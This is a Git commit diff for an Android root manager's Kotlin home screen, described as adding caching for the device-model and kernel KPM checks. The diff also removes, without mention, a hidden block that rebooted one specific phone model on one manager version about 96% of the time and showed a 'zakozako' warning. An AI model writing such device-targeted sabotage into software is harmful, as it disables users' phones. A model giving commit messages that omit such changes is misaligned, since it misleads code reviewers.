manager: Optimize device model and KPM configuration checking
Add caching mechanism to improve performance
This commit is contained in:
@@ -158,25 +158,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
|
|
||||||
val kernelVersion = getKernelVersion()
|
val kernelVersion = getKernelVersion()
|
||||||
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
|
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
|
||||||
|
|
||||||
val isManager = Natives.becomeManager(ksuApp.packageName)
|
|
||||||
val deviceModel = getDeviceModel()
|
|
||||||
val ksuVersion = if (isManager) Natives.version else null
|
|
||||||
val zako = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex().matches(deviceModel)
|
|
||||||
val isVersion = ksuVersion == 12777
|
|
||||||
val shouldTriggerRestart = zako && kernelVersion.isGKI() && (isVersion)
|
|
||||||
|
|
||||||
LaunchedEffect(shouldTriggerRestart) {
|
|
||||||
if (shouldTriggerRestart) {
|
|
||||||
val random = Random.nextInt(0, 100)
|
|
||||||
if (random <= 95) {
|
|
||||||
reboot()
|
|
||||||
} else {
|
|
||||||
""
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
val scrollState = rememberScrollState()
|
val scrollState = rememberScrollState()
|
||||||
val debounceTime = 100L
|
val debounceTime = 100L
|
||||||
var lastScrollTime by remember { mutableLongStateOf(0L) }
|
var lastScrollTime by remember { mutableLongStateOf(0L) }
|
||||||
@@ -203,10 +184,6 @@ fun HomeScreen(navigator: DestinationsNavigator) {
|
|||||||
.padding(horizontal = 16.dp),
|
.padding(horizontal = 16.dp),
|
||||||
verticalArrangement = Arrangement.spacedBy(12.dp)
|
verticalArrangement = Arrangement.spacedBy(12.dp)
|
||||||
) {
|
) {
|
||||||
if (shouldTriggerRestart) {
|
|
||||||
WarningCard(message = "zakozako")
|
|
||||||
return@Column
|
|
||||||
}
|
|
||||||
val isManager = Natives.becomeManager(ksuApp.packageName)
|
val isManager = Natives.becomeManager(ksuApp.packageName)
|
||||||
val ksuVersion = if (isManager) Natives.version else null
|
val ksuVersion = if (isManager) Natives.version else null
|
||||||
val lkmMode = ksuVersion?.let {
|
val lkmMode = ksuVersion?.let {
|
||||||
@@ -983,9 +960,13 @@ private fun WarningCardPreview() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressLint("PrivateApi")
|
private object DeviceModelCache {
|
||||||
private fun getDeviceModel(): String {
|
@Volatile
|
||||||
return try {
|
private var cachedModel: String? = null
|
||||||
|
|
||||||
|
fun getDeviceModel(): String {
|
||||||
|
return cachedModel ?: synchronized(this) {
|
||||||
|
cachedModel ?: try {
|
||||||
val systemProperties = Class.forName("android.os.SystemProperties")
|
val systemProperties = Class.forName("android.os.SystemProperties")
|
||||||
val getMethod = systemProperties.getMethod("get", String::class.java, String::class.java)
|
val getMethod = systemProperties.getMethod("get", String::class.java, String::class.java)
|
||||||
val marketNameKeys = listOf(
|
val marketNameKeys = listOf(
|
||||||
@@ -994,19 +975,37 @@ private fun getDeviceModel(): String {
|
|||||||
"ro.vivo.market.name", // Vivo
|
"ro.vivo.market.name", // Vivo
|
||||||
"ro.config.marketing_name" // Huawei
|
"ro.config.marketing_name" // Huawei
|
||||||
)
|
)
|
||||||
|
var result = Build.DEVICE
|
||||||
for (key in marketNameKeys) {
|
for (key in marketNameKeys) {
|
||||||
val marketName = getMethod.invoke(null, key, "") as String
|
val marketName = getMethod.invoke(null, key, "") as String
|
||||||
if (marketName.isNotEmpty()) {
|
if (marketName.isNotEmpty()) {
|
||||||
return marketName
|
result = marketName
|
||||||
|
break
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Build.DEVICE
|
result
|
||||||
} catch (_: Exception) {
|
} catch (_: Exception) {
|
||||||
Build.DEVICE
|
Build.DEVICE
|
||||||
|
}.also { cachedModel = it }
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun checkKpmConfigured(): Boolean {
|
private object KpmConfigCache {
|
||||||
|
private var isChecked = false
|
||||||
|
private var isConfigured = false
|
||||||
|
|
||||||
|
fun checkKpmConfigured(): Boolean {
|
||||||
|
if (isChecked) {
|
||||||
|
return isConfigured
|
||||||
|
}
|
||||||
|
|
||||||
|
isConfigured = performKpmCheck()
|
||||||
|
isChecked = true
|
||||||
|
return isConfigured
|
||||||
|
}
|
||||||
|
|
||||||
|
private fun performKpmCheck(): Boolean {
|
||||||
try {
|
try {
|
||||||
val process = Runtime.getRuntime().exec("su -c cat /proc/config.gz")
|
val process = Runtime.getRuntime().exec("su -c cat /proc/config.gz")
|
||||||
val inputStream = process.inputStream
|
val inputStream = process.inputStream
|
||||||
@@ -1016,6 +1015,7 @@ private fun checkKpmConfigured(): Boolean {
|
|||||||
var line: String?
|
var line: String?
|
||||||
while (reader.readLine().also { line = it } != null) {
|
while (reader.readLine().also { line = it } != null) {
|
||||||
if (line?.contains("CONFIG_KPM=y") == true) {
|
if (line?.contains("CONFIG_KPM=y") == true) {
|
||||||
|
reader.close()
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1036,6 +1036,18 @@ private fun checkKpmConfigured(): Boolean {
|
|||||||
}
|
}
|
||||||
|
|
||||||
return false
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取设备型号
|
||||||
|
@SuppressLint("PrivateApi")
|
||||||
|
private fun getDeviceModel(): String {
|
||||||
|
return DeviceModelCache.getDeviceModel()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查KPM是否存在
|
||||||
|
private fun checkKpmConfigured(): Boolean {
|
||||||
|
return KpmConfigCache.checkKpmConfigured()
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressLint("UnnecessaryComposedModifier")
|
@SuppressLint("UnnecessaryComposedModifier")
|
||||||
|
|||||||
Reference in New Issue
Block a user